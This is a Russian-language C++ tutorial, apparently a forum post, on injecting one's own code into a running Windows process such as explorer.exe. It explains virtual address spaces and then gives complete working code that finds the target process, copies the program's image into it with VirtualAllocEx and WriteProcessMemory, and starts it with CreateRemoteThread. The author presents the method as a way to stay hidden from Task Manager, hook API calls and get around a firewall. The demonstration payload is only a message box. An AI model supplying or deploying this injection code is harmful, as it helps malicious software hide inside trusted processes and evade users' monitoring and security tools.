[C++] Внедрение в чужой процесс

Внедрение в чужой процесс

В этой статье я расскажу немного про память процессов, а так же покажу простейший способ внедрения своего кода в работающую программу, например explorer.exe.

Откроем в отладчике любую программу под Windows и рассмотрим диапазон адресов, в которых она находится. Обычно этот диапазон расположен в адресах 0х0400000 – 0х04ххххх (но, может быть и другим, в частности для системных процессов). Откроем другую программу, она располагается в том же самом диапазоне адресов. У мало знакомого с оперативной памятью человека возникнет логичный вопрос: как возможно, что бы разные программы занимали одни и те же же адреса? Дело вот в чем: для каждой запущенной программы ОС выделяет свое виртуальное адресное пространство, которое начинающееся с адреса 00000000h и заканчивается адресом FFFFFFFFh, размер равен 4 Гб (мы говорим про 32-битные системы). Тут стоит отметить, что 4Гб виртуальной памяти это не тоже что и 4Гб памяти физической. Об этом чуть подробнее:

Виртуальная память разбита на страницы (размер страницы определяется типом ОС, в нашем случае это 4 кб). При запуске программы эти страницы выделены под сам исполняемый код, данные нашего приложения, стек и т.д. Эти страницы виртуальной памяти уже потом проецируются на физическую память. Подробнее про это лучше почитать у Джеффри Рихтера (у него про работу с памятью есть практически все). Если мы откроем диспетчер задач и посмотрим закладку «процессы», то увидим все процессы, которые запущены в данный момент. Они располагаются в своих виртуальных адресных пространствах (ВАП).

ВАП каждого процесса (каждой программы) изолировано, т.е. не затрагивает ВАП другого процесса, и управляется оно функциями ядра операционной системы. На деле же при необходимости, память другого процесса можно читать и редактировать. Что нам даст внедрение в процесс (process injection)? В отличии от работы с памятью средствами своей программы, внедренный процесс не будет виден ни в диспетчере задач, ни в любой другой программе. Такое глобальное внедрение позволит осуществить перехват вызовов API функций или, например, внедрение в браузер для обхода файрвола. Суть метода заключается в выделении области памяти строго заданного размера в чужом процессе, копировании туда побайтно кода нашего процесса по тем же адресам и запуске удаленного потока.

Реализацию можно разбить на составляющие:

* подбираем программу, в которую будем внедряться
* выделяем в ее адресном пространстве память для нашего процесса
* копируем код нашего процесса в выделенную область
* осуществляем запуск удаленного потока

Функция для поиска процесса принимает в параметрах строку, в которой содержится название искомого процесса (например explorer.exe) и возвращает его ID (уникальный идентификатор):

Code:

DWORD GetProcessID(char* lpNameProcess) { HANDLE snap; PROCESSENTRY32 pentry32; snap=CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0); if(snap==INVALID_HANDLE_VALUE) return 0; pentry32.dwSize=sizeof(PROCESSENTRY32); if(!Process32First(snap,&pentry32)) {CloseHandle(snap);return 0;} do { if(!lstrcmpi(lpNameProcess,&pentry32.szExeFile[0])) { CloseHandle(snap); return pentry32.th32ProcessID; } }while(Process32Next(snap,&pentry32)); CloseHandle(snap); return 0; }

Далее зарезервируем в чужом пространстве область памяти, необходимую для размещения нашего кода. Сразу возникает вопрос: сколько памяти выделять? Необходимый размер лучше определить программно, как продемонстрировано ниже. В качестве первого параметра наша функция принимает Handle чужого процесса, в качестве второго – указатель на функцию, которая будет запущена в чужом адресном пространстве (точка входа в поток). В переменной size вычисляется размер области памяти (в которую мы будем копировать код). Получив величину size, с помощью функции VirtualAllocEx мы выделяем в адресном пространстве чужого процесса необходимую нам область памяти. Сама операция копирования осуществляется функцией WriteProcessMemory:

Code:

BOOL Inject(HANDLE hProc,DWORD(WINAPI* func)(LPVOID)) { DWORD id; DWORD ByteOfWriten; HMODULE hModule = GetModuleHandle(NULL); DWORD size=((PIMAGE_OPTIONAL_HEADER)((LPVOID)((BYTE*)(hModule)+((PIMAGE_DOS_HEADER)(hModule))->e_lfanew+sizeof(DWORD)+sizeof(IMAGE_FILE_HEADER))))->SizeOfImage; char* hNewModule = (char*)VirtualAllocEx(hProc,hModule,size, MEM_COMMIT|MEM_RESERVE,PAGE_EXECUTE_READWRITE); if(hNewModule==NULL) return false; WriteProcessMemory(hProc,hNewModule,hModule,size,&ByteOfWriten); if(ByteOfWriten!=size){return false;} HANDLE hThread=CreateRemoteThread(hProc,NULL,0,func,(LPVOID)hNewModule,0,&id); if(hThread==0) return false; return true; }

Надо отметить, что копирование может не удаться, если в пространстве explorer.exe уже содержатся его данные по нашим адресам памяти. Чтобы избежать этого, сдвигаем образ нашего процесса максимально дальше с помощью директивы компилятора:

Code:

#pragma comment(linker,"/BASE:0x13140000")

Далее производим запуск удаленного потока (содержащего нашу функцию) с помощью функции CreateRemoteThread с точки входа func. func — именно та функция, которая будет работать в чужом адресном пространстве. Возьмем простейший вариант с выводом окошка с сообщением, вот полный код:

Code:

#include <windows.h> #include <tlhelp32.h> #pragma comment(linker,"/BASE:0x13140000") // сдвигаем базу нашего процесса // ------- объявляем функции -------- DWORD GetProcessID(char*); BOOL Inject(HANDLE,DWORD(WINAPI* func)(LPVOID)); DWORD WINAPI func(LPVOID); //-------- главная функция --------- int WINAPI WinMain(HINSTANCE,HINSTANCE,LPTSTR,int) { if(!Inject(OpenProcess(PROCESS_ALL_ACCESS,false,GetProcessID("explorer.exe")),&func)) return false; return true; } //-------- функция, которая будет выполняться в чужом процессе ------- DWORD WINAPI func(LPVOID) { LoadLibrary("kernel32.dll"); LoadLibrary("user32.dll"); MessageBox(0,"Hello from addres area of explorer","title",0); return true; } //-------- поиск процесса --------- DWORD GetProcessID(char* lpNameProcess) // в параметре - имя процесса для внедрения { HANDLE snap; PROCESSENTRY32 pentry32; snap=CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0); if(snap==INVALID_HANDLE_VALUE) return 0; pentry32.dwSize=sizeof(PROCESSENTRY32); if(!Process32First(snap,&pentry32)) {CloseHandle(snap);return 0;} do { if(!lstrcmpi(lpNameProcess,&pentry32.szExeFile[0])) { CloseHandle(snap); return pentry32.th32ProcessID; } } while(Process32Next(snap,&pentry32)); CloseHandle(snap); return 0; } //-------- функция внедрения в чужой процесс ------------------- BOOL Inject(HANDLE hProc,DWORD(WINAPI* func)(LPVOID)) { DWORD id; DWORD ByteOfWriten; HMODULE hModule = GetModuleHandle(NULL); DWORD size=((PIMAGE_OPTIONAL_HEADER)((LPVOID)((BYTE*)(hModule)+((PIMAGE_DOS_HEADER)(hModule))->e_lfanew+sizeof(DWORD)+sizeof(IMAGE_FILE_HEADER))))->SizeOfImage; char* hNewModule = (char*)VirtualAllocEx(hProc,hModule,size,MEM_COMMIT|MEM_RESERVE,PAGE_EXECUTE_READWRITE); if(hNewModule==NULL) return false; WriteProcessMemory(hProc,hNewModule,hModule,size,&ByteOfWriten); if(ByteOfWriten!=size){return false;} HANDLE hThread=CreateRemoteThread(hProc,NULL,0,func,(LPVOID)hNewModule,0,&id); if(hThread==0) return false; return true; }

(C) veveve